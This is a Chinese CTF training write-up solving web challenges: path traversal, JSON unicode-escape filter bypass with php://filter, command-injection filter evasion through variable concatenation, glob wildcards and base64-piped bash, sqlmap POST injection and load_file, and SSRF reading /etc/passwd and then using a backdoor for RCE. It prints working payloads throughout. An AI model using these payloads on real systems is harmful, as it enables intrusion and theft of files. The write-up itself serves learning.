暑期训练第一周
read-data
先下载附件顺便打开题目
1 | const express = require('express') |
审计代码
我们可以看出要用name变量传参
我们使用get传参方式来查找table.txt里面的内容
构造payload:
../?name=. 来查找内容
根据提示
所以Flag Holder 是51
再看看Java代码
我们构造payload:/51/Flag/Holder
flag出了,问题解决。
try_rce_me
打开题目
题目类似于[HarekazeCTF2019]encode_and_encode
知识点
- JSON基础
- PHP伪协议
审计分析
意思很明白,我们要使用post方式传入格式为{"pages":"xxxx"}
的内容,然后page的值传到了$content
里面,然后需要绕过
1 | if (!$content || !is_valid($content)) { |
$content的值就会被替换,然后需要绕过preg_match(),不然值也会被替换,没想到怎么绕过这个东西
发现这个题目的关键地方是json_decode会将\uxxx
进行转义,这样就可以绕过is_valid的检测
本地测试
1 |
|
所以最终的payload配合上php://filter就可以得到flag
filter协议:
1 | php://filter/convert.base64-encode/resource=/flag |
1 | {"pages":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"} |
建议使用bp发包
1 | {"content":"ZmxhZ3s5MzkyOTZjZC05YzYzLTQyNzMtYmVlZi0zZjViOTJlN2U5ZDh9Cg=="} |
base64解码
flag{939296cd-9c63-4273-beef-3f5b92e7e9d8}
问题解决
simple_php
知识点 RCE绕过方法,代码审计
打开题目
1 |
|
代码审计
1 | function is_safe($input) { |
函数功能使含有 ‘..‘, ‘flag’, ‘\\‘ 的内容分隔开所以我们该去注意payload格式
1 | if (is_safe($parsedJson['cmd']) && isset($parsedJson['cmd']) && strpos($requestBody, '\u') === false ) |
第一个if
输入验证和过滤:
- 确保
is_safe
函数充分验证cmd
的安全性。 is_safe
函数应该包括防止 SQL 注入、XSS(跨站脚本攻击)、命令注入等攻击的检查。
防止JSON注入:
strpos($requestBody, '\u') === false
检查 JSON 转义序列是否存在。这可以防止某些 JSON 注入攻击,但并不是全面的解决方案。- 确保对整个输入数据进行严格的 JSON 解码和验证。
第二个if过滤了许多的命令 ,之后我们要执行system打开flag.txt
于是我们想到绕过 这里我们用了拼接绕过和[glob通配符]绕过我们现在构造payload
在抓包之后在bp里面POST传参
这里有好几种payload:
1: {“cmd”:”a=ca&&b=t&&$a$b /[e-h][k-m][0-b][e-h][+-0]txt”}
2: {“cmd”:”c=Y2F0IC9mbGFn&&d=LnR4dA==&&a=bas&&b=h&&echo $c$d|base64 -d|$a$b”}
3: {“cmd”:”f=l&&g=s&&h=he&&i=ad&&j=txt&&a=ca&&b=t&&c=fla&&d=g&&e=$($f$g -a|$h$i -n 1)&&$a$b /$c$d$e$j”}
simple_php_revenge
这个与上面的类似 就多了个过滤了 ` 符号
1 |
|
这里有好几种payload:
1: {“cmd”:”a=ca&&b=t&&$a$b /[e-h][k-m][0-b][e-h][+-0]txt”}
2: {“cmd”:”c=Y2F0IC9mbGFn&&d=LnR4dA==&&a=bas&&b=h&&echo $c$d|base64 -d|$a$b”}
3: {“cmd”:”f=l&&g=s&&h=he&&i=ad&&j=txt&&a=ca&&b=t&&c=fla&&d=g&&e=$($f$g -a|$h$i -n 1)&&$a$b /$c$d$e$j”}
同样适合
问题解决。
人才(做的)管理系统 by hacked_1
知识点:代码审计
经过各种方法发现
看源码去
发现index.html
访问看看
解决问题
人才(做的)管理系统 by hacked_2
知识点:
利用sqlmap进行POST注入,常见的有三种方法:
打开题目
注入方式一:
1.用Burp抓包,然后保存抓取到的内容。例如:保存为post.txt,然后把它放至某个目录下
1 | 1.txt内容 |
1 | POST /login HTTP/1.1 |
2.列数据库:
1 | sqlmap -r "1.txt" --dbs |
3.猜表
选择一个数据库,比如选staff(这个比较可疑)
查查flag表
4.猜列
sqlmap -r “1.txt” -D staff -T flag –columns
5.猜数据
sqlmap -r “1.txt” -D staff -T flag -C “flag” –dump
flag出了
flag{U_@re_Sq1_M@ster}
人才(做的)管理系统 by hacked_3
还是利用sqlmap来注入拿shell(目前只会)
拿shell首先
使用命令:
1 | sqlmap -r '/home/kali/桌面/1.txt' --sql-shell |
继续查找flag 看提示
于是我们输入命令
1 | select load_file('/flag') |
flag出了
flag{U_@re_Very_ok}
问题解决
love_cms
知识点:漏洞利用,ssrf,rce
题目还有附件我们可以下载看看对应提示来理解
在附件中我们利用D盾查找到
1 | src\application\admin\controller\system_manage.class.php |
我们去试试传参
题目给出ssrf提示我们构造payload看看
1 | prohibit_words=file:///etc/passwd&dosubmit=1 |
有回显
在附件根目录中我们发现可疑文件backdoor.php
打开里面是空的因为他是附件题目里面肯定是有的,这就是后门我们读取这个文件内容
在题目中这个文件目录会改变位置到
1 | /var/www/html/backdoor.php |
,我们就需要用ssrf命令去读取它
payload
1 | prohibit_words=file:///var/www/html/backdoor.php&dosubmit=1 |
ctrl+U看源码(因为页面刷新很快)
使用get传参
之后我们正常rce命令读取
payload:
1 | http://47.121.24.182:8000/backdoor.php/?SV9sb3ZlX215X2dpcmxmcmllbmRfdmVyeV9tdWNo=ls / |
1 | http://47.121.24.182:8000/backdoor.php/?SV9sb3ZlX215X2dpcmxmcmllbmRfdmVyeV9tdWNo=cat /flagaaaaaaaaaaaaaaaaaaaaag |